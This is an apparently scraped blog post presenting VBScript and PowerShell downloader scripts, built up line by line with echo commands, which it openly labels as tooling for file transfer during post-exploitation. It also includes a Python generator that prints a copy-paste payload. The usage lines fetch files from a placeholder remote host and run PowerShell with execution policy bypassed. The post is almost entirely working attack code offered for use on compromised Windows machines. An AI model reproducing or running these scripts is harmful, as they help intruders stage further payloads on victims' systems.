zoukankan      html  css  js  c++  java
  • wget.vbs & wget.ps1

    Wget-like tool for file transfer when do post exploitation.

    CODE

    echo strUrl = WScript.Arguments.Item(0) > wget.vbs
    echo StrFile = WScript.Arguments.Item(1) >> wget.vbs
    echo Const HTTPREQUEST_PROXYSETTING_DEFAULT = 0 >> wget.vbs
    echo Const HTTPREQUEST_PROXYSETTING_PRECONFIG = 0 >> wget.vbs
    echo Const HTTPREQUEST_PROXYSETTING_DIRECT = 1 >> wget.vbs
    echo Const HTTPREQUEST_PROXYSETTING_PROXY = 2 >> wget.vbs
    echo Dim http,varByteArray,strData,strBuffer,lngCounter,fs,ts >> wget.vbs
    echo Err.Clear >> wget.vbs
    echo Set http = Nothing >> wget.vbs
    echo Set http = CreateObject("WinHttp.WinHttpRequest.5.1") >> wget.vbs
    echo If http Is Nothing Then Set http = CreateObject("WinHttp.WinHttpRequest") >> wget.vbs
    echo If http Is Nothing Then Set http = CreateObject("MSXML2.ServerXMLHTTP") >> wget.vbs
    echo If http Is Nothing Then Set http = CreateObject("Microsoft.XMLHTTP") >> wget.vbs
    echo http.Open "GET",strURL,False >> wget.vbs
    echo http.Send >> wget.vbs
    echo varByteArray = http.ResponseBody >> wget.vbs
    echo Set http = Nothing >> wget.vbs
    echo Set fs = CreateObject("Scripting.FileSystemObject") >> wget.vbs
    echo Set ts = fs.CreateTextFile(StrFile,True) >> wget.vbs
    echo strData = "" >> wget.vbs
    echo strBuffer = "" >> wget.vbs
    echo For lngCounter = 0 to UBound(varByteArray) >> wget.vbs
    echo ts.Write Chr(255 And Ascb(Midb(varByteArray,lngCounter + 1,1))) >> wget.vbs
    echo Next >> wget.vbs
    echo ts.Close >> wget.vbs
    
    echo $url = $args[0] > wget.ps1
    echo $output = "$($pwd)$($args[1])" >> wget.ps1
    echo $wc = New-Object System.Net.WebClient >> wget.ps1
    echo $wc.DownloadFile($url, $output) >> wget.ps1
    
    #! /usr/bin/python
    
    import sys
    
    if len(sys.argv) !=3:
        print "Usage: gen_ps1_wget.py <http_server> <file_to_download>"
        sys.exit(0)
    print "
    "
    print "Copy and paste the following in to the host:"
    print "
    "
    print "echo $storageDir = $pwd > wget.ps1"
    print "echo $webclient = New-Object System.Net.WebClient >> wget.ps1"
    print "echo $url = 'http://%s/%s' >> wget.ps1"%(sys.argv[1],sys.argv[2])
    print "echo $file = '%s' >> wget.ps1" % sys.argv[2]
    print "echo $webclient.DownloadFile($url,$file) >> wget.ps1"
    print "
    "
    
    
    

    USAGE

    cscript wget.vbs http://x.x.x.x filename
    powershell.exe -ExecutionPolicy bypass -NoLogo -NonInteractive -NoProfile -File wget.ps1 http://x.x.x.x filename

    from github.com

  • 相关阅读:
    细说mysql索引
    SQL常见优化Sql查询性能的方法有哪些?
    JDK提供的几种线程池比较
    JVM 内部运行线程介绍
    线上服务CPU100%问题快速定位实战
    浅谈Java中的hashcode方法
    Spring 核心组件工作原理简析
    SpringMVC工作原理
    open MMT.distributions = null on transaction type: WIP Lot Split
    OSFM Tables
  • 原文地址:https://www.cnblogs.com/xiaoxiaoleo/p/8408571.html
Copyright © 2011-2022 走看看